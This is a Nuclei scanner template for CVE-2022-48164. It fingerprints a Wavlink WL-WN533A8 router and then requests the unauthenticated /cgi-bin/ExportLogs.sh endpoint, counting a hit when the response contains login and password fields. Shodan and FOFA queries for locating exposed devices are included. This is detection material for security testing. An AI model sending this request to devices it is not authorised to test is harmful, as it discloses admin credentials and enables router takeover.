id: CVE-2022-48164

info:
  name: Wavlink WL-WN533A8 M33A8.V5030.190716 - Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    An access control issue in the component /cgi-bin/ExportLogs.sh of Wavlink WL-WN533A8 M33A8.V5030.190716 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials.
  impact: |
    Successful exploitation could lead to sensitive information disclosure.
  reference:
    - https://docs.google.com/document/d/1JgqpBYRxyU0WKDSqkvi4Yo0723k7mrIUeuH9i1eEs8U/edit?tab=t.0
    - https://nvd.nist.gov/vuln/detail/CVE-2022-48164
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-48164
    cpe: cpe:2.3:o:wavlink:wl-wn533a8_firmware:m33a8.v5030.190716:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wavlink
    product: wl-wn533a8_firmware
    shodan-query: html:"WN533A8"
    fofa-query: body="WN533A8"
  tags: cve,cve2022,wavlink,exposure,wn533a8

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "WN533A8")'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportLogs.sh"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Login=", "Password=", "WiFi_", "WAVLINK")'
          - 'contains(content_type, "application/octet-stream")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100d4aa5e4a24016fc11a0b5bc83d55358a9fa9464f1a16bb5b8886a65d588b0c6102204e5cff9a25c473663861cbfdaf73be19db8637122cbf4ab88cb44ca63be05e6d:922c64590222798bb761d5b6d8e72950